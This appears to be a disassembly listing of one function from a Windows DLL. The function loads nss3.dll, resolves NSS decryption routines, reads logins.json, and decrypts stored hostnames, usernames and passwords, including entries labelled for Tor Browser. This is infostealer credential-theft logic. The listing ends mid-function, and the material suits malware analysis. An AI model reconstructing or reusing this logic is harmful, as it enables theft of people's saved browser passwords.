Function at 0x18009bcf0
Capabilities:
Check if file exists
Get file attributes
Link many functions at runtime
Set current directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x218]
sub rsp, 0x318
mov rax, qword [0x180128010]
xor rax, rsp
mov qword [rbp + 0x208], rax
xor eax, eax
mov qword [rbp - 0x50], rcx
mov r13, rcx
mov dword [rbp - 0x48], eax
lea rcx, [rbp - 0x20]
mov qword [rbp + 0x100], rax
mov esi, eax
mov qword [rbp + 0x110], rax
mov r14, r9
mov qword [rbp - 0x60], r8
mov r15, r8
mov qword [rbp - 0x58], rdx
mov r12, rdx
mov qword [rbp + 0x118], 0xf
call fcn.1800c0900
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18009bd6e
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x18009bdbe
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18009bdb9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d269
mov rcx, r8
call fcn.1800ce78c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
test rdi, rdi
jne 0x18009bf18
xor ebx, ebx
mov qword [r13 + 0x18], 0xf
xor r8d, r8d
mov qword [r13], rbx
lea rdx, [0x18010b500]
mov qword [r13 + 0x10], rbx
mov rcx, r13
call fcn.1800c1060
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x18009be3b
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009be36
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d263
call fcn.1800ce78c
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x18009be77
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x18009be72
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d263
mov rcx, r8
call fcn.1800ce78c
mov qword [r12 + 0x10], rbx
mov qword [r12 + 0x18], 0xf
mov byte [r12], bl
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009bec3
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18009bebe
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009d263
mov rcx, r8
call fcn.1800ce78c
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], 0xf
mov byte [r15], bl
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009bf0c
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009bf07
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x18009d263
mov rcx, r8
call fcn.1800ce78c
mov qword [r14 + 0x10], rbx
mov byte [r14], bl
jmp 0x18009d22f
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x18012da78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x18012da90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x18012dab8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x18012dae0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x18012db60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x18012dac0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
mov qword [0x18012da80], rax
jb 0x18009bfc6
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
movabs rdx, 0x7fffffffffffffff
cmp eax, 0xffffffff
je 0x18009c060
test al, 0x10
je 0x18009c060
mov rcx, qword [r15 + 0x10]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x18009d26f
cmp qword [r15 + 0x18], 0x10
mov r9, r15
jb 0x18009c004
mov r9, qword [r15]
lea rax, str.logins.json
mov qword [rsp + 0x30], 0xc
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x40]
call fcn.1800c3cb0
cmp qword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x40]
lea rdx, [0x180116130]
cmovae rcx, qword [rsp + 0x40]
call fcn.1800da3c8
test rax, rax
je 0x18009c05b
mov rcx, rax
call fcn.1800da458
mov bl, 1
mov esi, 1
jmp 0x18009c062
mov esi, 1
xor bl, bl
test sil, 1
je 0x18009c0bc
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18009c0a5
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c0a0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d275
call fcn.1800ce78c
xor edi, edi
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
jmp 0x18009c0be
xor edi, edi
test bl, bl
je 0x18009d127
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
jb 0x18009c0d3
mov rcx, qword [r15]
call qword [0x18012da78]
mov rdx, r15
lea rcx, [rbp - 0x20]
call fcn.1800c0900
mov rcx, rax
call fcn.1800917b0
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], 0xf
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x18009c110
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.1800c1060
cmp qword [rbp + 0x90], 0
jbe 0x18009d0e6
xorps xmm0, xmm0
lea rdx, str._hostname_:_______
xor eax, eax
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x200], rax
movups xmmword [rbp + 0x1f0], xmm0
call fcn.1800bfa60
xorps xmm0, xmm0
lea rdx, str._encryptedUsername_:_______
xor eax, eax
lea rcx, [rbp + 0x1b8]
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1d8], rax
movups xmmword [rbp + 0x1c8], xmm0
call fcn.1800bfa60
xorps xmm0, xmm0
lea rdx, str._encryptedPassword_:_______
xor eax, eax
lea rcx, [rbp + 0x190]
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1b0], rax
movups xmmword [rbp + 0x1a0], xmm0
call fcn.1800bfa60
mov rdx, qword [rbp + 0x98]
lea rbx, [rbp + 0x80]
mov rax, qword [rbp + 0x80]
xorps xmm0, xmm0
mov r12d, 0xf
mov qword [rbp + 0xa0], rdi
cmp rdx, 0x10
mov qword [rbp + 0xb0], rdi
movups xmmword [rbp + 0x120], xmm0
cmovae rbx, rax
mov qword [rbp + 0xb8], 0xf
movups xmmword [rbp + 0x130], xmm0
mov rsi, rdi
mov r15, rdi
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0xe0], rdi
mov r13d, r12d
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0xf0], rdi
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0xf8], r12
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0xc0], rdi
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0xd0], 0
mov qword [rbp + 0xd8], r12
nop word [rax + rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp + 0x90]
lea rcx, [rbp + 0x80]
cmovae rcx, rax
lea r9, [rbp + 0x1e0]
add rdx, rcx
lea r8, [rbp + 0x120]
mov rcx, rbx
call fcn.1800c6b30
test al, al
je 0x18009cf16
mov rcx, qword [rbp + 0x138]
movabs r13, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x130]
mov rax, r13
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x178]
cmp rdx, 1
jbe 0x18009c2ec
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x18009c2fb
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
jmp 0x18009c303
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov rdx, qword [rbp - 0x80]
xor r15d, r15d
mov r8, qword [rbp - 0x78]
mov eax, r15d
mov qword [rsp + 0x40], rax
mov r9d, 0xf
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r9
cmp rdx, r8
je 0x18009c342
sub r8, rdx
lea rcx, [rsp + 0x40]
call fcn.1800c1060
mov r9, qword [rsp + 0x58]
mov rax, qword [rsp + 0x40]
cmp r9, 0x10
lea rcx, [rsp + 0x40]
cmovae rcx, rax
call fcn.180092230
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x18009c360
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.1800c1060
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18009c3b5
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c3b0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d27b
call fcn.1800ce78c
cmp qword [rbp + 0x98], 0x10
lea rdx, [rbp + 0x80]
lea r9, [rbp + 0x1b8]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x80]
lea r8, [rbp + 0x120]
add rdx, qword [rbp + 0x90]
mov rcx, rbx
call fcn.1800c6b30
mov rcx, qword [rbp + 0x138]
mov rax, r13
mov r8, qword [rbp + 0x130]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x178]
cmp rdx, 1
jbe 0x18009c424
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009c433
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
jmp 0x18009c43b
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x78]
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
cmp rdx, r8
je 0x18009c468
sub r8, rdx
lea rcx, [rsp + 0x60]
call fcn.1800c1060
lea rcx, [rsp + 0x60]
call fcn.18009bb20
mov rcx, rax
call fcn.180092230
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x18009c481
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.1800c1060
cmp qword [rbp + 0x98], 0x10
lea rdx, [rbp + 0x80]
lea r9, [rbp + 0x190]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x80]
lea r8, [rbp + 0x120]
add rdx, qword [rbp + 0x90]
mov rcx, rbx
call fcn.1800c6b30
mov rcx, qword [rbp + 0x138]
mov rax, r13
mov r8, qword [rbp + 0x130]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x178]
cmp rdx, 1
jbe 0x18009c508
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009c517
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
jmp 0x18009c51f
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x78]
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
cmp rdx, r8
je 0x18009c54c
sub r8, rdx
lea rcx, [rsp + 0x60]
call fcn.1800c1060
lea rcx, [rsp + 0x60]
call fcn.18009bb20
mov rcx, rax
call fcn.180092230
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x18009c565
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.1800c1060
mov r8d, 8
mov qword [rsp + 0x40], r15
cmp qword [rbp + 0xb0], r8
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], r15
cmovb r8, qword [rbp + 0xb0]
cmp qword [rbp + 0xb8], 0x10
mov qword [rsp + 0x58], 0xf
cmovae rdx, qword [rbp + 0xa0]
call fcn.1800c1060
mov rdx, qword [rsp + 0x58]
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rsp + 0x50], 8
jne 0x18009c5f9
movabs r8, 0x2f2f3a687475616f
cmp qword [rax], r8
jne 0x18009c5f9
xor dil, dil
jmp 0x18009c5fc
mov dil, 1
cmp rdx, 0x10
jb 0x18009c62f
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c62a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2b1
call fcn.1800ce78c
test dil, dil
je 0x18009ce7c
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x18009c648
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009ca72
cmp byte [rcx], 0x30
jne 0x18009ca72
mov rcx, qword [rbp + 0xb0]
mov rdx, rax
mov rsi, qword [rbp + 0xf0]
movabs r12, 0x7fffffffffffffff
mov rdi, qword [rbp + 0xd0]
test rcx, rcx
je 0x18009ca94
test rsi, rsi
je 0x18009ca94
test rdi, rdi
je 0x18009ca94
mov rax, r12
sub rax, rcx
cmp rax, 1
jb 0x18009d29f
cmp qword [rbp + 0xb8], 0x10
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x30], rcx
lea r9, [0x180116190]
cmovae rax, qword [rbp + 0xa0]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
call fcn.1800c3cb0
mov r8d, 1
lea rdx, [0x18011618c]
lea rcx, [rsp + 0x60]
call fcn.1800c0730
lea rdx, [rbp]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp], xmm0
mov byte [rax], r15b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x10], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x100]
call fcn.1800c0730
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x18009c784
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c77f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d281
call fcn.1800ce78c
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18009c7c1
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c7bc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d281
call fcn.1800ce78c
mov rax, r12
sub rax, rsi
cmp rax, 1
jb 0x18009d299
cmp qword [rbp + 0xf8], 0x10
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x30], rsi
lea r9, [0x180116190]
cmovae rax, qword [rbp + 0xe0]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
call fcn.1800c3cb0
mov r8d, 1
lea rdx, [0x18011618c]
lea rcx, [rsp + 0x60]
call fcn.1800c0730
lea rdx, [rbp + 0x20]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x20], xmm0
mov byte [rax], r15b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x30], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x100]
call fcn.1800c0730
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x18009c8ac
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c8a7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d287
call fcn.1800ce78c
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18009c8e9
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c8e4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d287
call fcn.1800ce78c
mov rax, r12
sub rax, rdi
cmp rax, 1
jb 0x18009d293
cmp qword [rbp + 0xd8], 0x10
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x30], rdi
lea r9, [0x180116190]
cmovae rax, qword [rbp + 0xc0]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
call fcn.1800c3cb0
mov r8d, 1
lea rdx, [0x18011618c]
lea rcx, [rsp + 0x60]
call fcn.1800c0730
lea rdx, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x40], xmm0
mov byte [rax], r15b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x50], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x100]
call fcn.1800c0730
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x18009c9d4
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009c9cf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d28d
call fcn.1800ce78c
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18009ca11
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ca0c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d28d
call fcn.1800ce78c
mov r8d, 1
lea rdx, [0x18010c51c]
lea rcx, [rbp + 0x100]
call fcn.1800c0730
xor r8d, r8d
lea rdx, [0x18010b500]
lea rcx, [rbp + 0xa0]
call fcn.1800c1060
xor r8d, r8d
lea rdx, [0x18010b500]
lea rcx, [rbp + 0xe0]
call fcn.1800c1060
xor r8d, r8d
lea rdx, [0x18010b500]
lea rcx, [rbp + 0xc0]
call fcn.1800c1060
mov rdx, qword [r14 + 0x18]
jmp 0x18009ca7f
mov rdx, rax
movabs r12, 0x7fffffffffffffff
mov rdi, qword [rbp + 0xd0]
mov rsi, qword [rbp + 0xf0]
mov rcx, qword [rbp + 0xb0]
mov rax, r14
cmp rdx, 0x10
jb 0x18009caa0
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009ce76
cmp byte [rax], 0x31
jne 0x18009ce76
test rcx, rcx
je 0x18009ce76
test rsi, rsi
je 0x18009ce76
test rdi, rdi
je 0x18009ce76
mov rax, r12
sub rax, rcx
cmp rax, 0xf
jb 0x18009d2ab
cmp qword [rbp + 0xb8], 0x10
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x30], rcx
lea r9, str.webTorBrowser
cmovae rax, qword [rbp + 0xa0]
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xf
call fcn.1800c3cb0
mov r8d, 1
lea rdx, [0x180116198]
lea rcx, [rbp - 0x20]
call fcn.1800c0730
cmp qword [rbp + 0xf8], 0x10
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x40], r15
lea rcx, [rsp + 0x40]
cmovae rdx, qword [rbp + 0xe0]
mov r8, rsi
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800c0730
mov r8d, 1
lea rdx, [0x180116198]
lea rcx, [rsp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800c0730
cmp qword [rbp + 0xd8], 0x10
lea rdx, [rbp + 0xc0]
mov qword [rbp - 0x80], r15
lea rcx, [rbp - 0x80]
cmovae rdx, qword [rbp + 0xc0]
mov r8, rdi
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800c0730
mov r8d, 3
lea rdx, [0x180116194]
lea rcx, [rbp - 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800c0730
lea rdx, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x60], xmm0
mov byte [rax], r15b
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x70], xmm1
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x100]
call fcn.1800c0730
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x18009ccc3
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ccbe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2a5
call fcn.1800ce78c
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x18009ccfe
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ccf9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2a5
call fcn.1800ce78c
mov rdx, qword [rbp - 0x68]
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], r15b
cmp rdx, 0x10
jb 0x18009cd49
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd44
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2a5
call fcn.1800ce78c
mov rdx, qword [rsp + 0x78]
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r15b
cmp rdx, 0x10
jb 0x18009cd96
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd91
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2a5
call fcn.1800ce78c
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], r15b
cmp rdx, 0x10
jb 0x18009cde6
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cde1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2a5
call fcn.1800ce78c
mov rdx, qword [rbp - 8]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r15b
cmp rdx, 0x10
jb 0x18009ce34
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ce2f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2a5
call fcn.1800ce78c
xor r8d, r8d
lea rdx, [0x18010b500]
lea rcx, [rbp + 0xa0]
call fcn.1800c1060
xor r8d, r8d
lea rdx, [0x18010b500]
lea rcx, [rbp + 0xe0]
call fcn.1800c1060
xor r8d, r8d
lea rdx, [0x18010b500]
lea rcx, [rbp + 0xc0]
call fcn.1800c1060
inc dword [0x18012db10]
mov rcx, qword [rbp + 0x138]
mov rax, r13
mov r8, qword [rbp + 0x130]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
jne 0x18009ceb3
mov rax, qword [rbp + 0x178]
lea r8, [rbp + 0x178]
jmp 0x18009ceb6
mov rax, qword [r8]
sub rax, qword [rbp + 0x120]
cmp byte [r8 + 0x10], r15b
je 0x18009cecd
movups xmm0, xmmword [r8]
movups xmmword [rbp - 0x80], xmm0
jmp 0x18009ced5
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
sub rax, qword [rbp - 0x80]
add rax, qword [rbp - 0x78]
mov rdx, qword [rbp + 0x98]
add rbx, rax
mov rax, qword [rbp + 0x80]
mov rsi, qword [rbp + 0xa0]
mov r12, qword [rbp + 0xf8]
mov r15, qword [rbp + 0xe0]
mov r13, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0xc0]
jmp 0x18009c270
call qword [0x18012da80]
cmp r13, 0x10
jb 0x18009cf53
lea rdx, [r13 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x18009cf4b
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2b1
mov rcx, rdi
call fcn.1800ce78c
cmp r12, 0x10
jb 0x18009cf8b
lea rdx, [r12 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x18009cf83
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2b1
mov rcx, r15
call fcn.1800ce78c
mov rax, qword [rbp + 0xb8]
cmp rax, 0x10
jb 0x18009cfc9
lea rdx, [rax + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x18009cfc1
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2b1
mov rcx, rsi
call fcn.1800ce78c
mov r8, qword [rbp + 0x130]
test r8, r8
je 0x18009d045
mov rcx, qword [rbp + 0x140]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x18009d027
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2b1
mov rcx, r8
call fcn.1800ce78c
xorps xmm0, xmm0
xor edi, edi
movdqa xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rdi
jmp 0x18009d047
xor edi, edi
lea rcx, [rbp + 0x190]
call fcn.1800c0cb0
mov rcx, qword [rbp + 0x1b0]
test rcx, rcx
je 0x18009d078
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d078
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
lea rcx, [rbp + 0x1b8]
call fcn.1800c0cb0
mov rcx, qword [rbp + 0x1d8]
test rcx, rcx
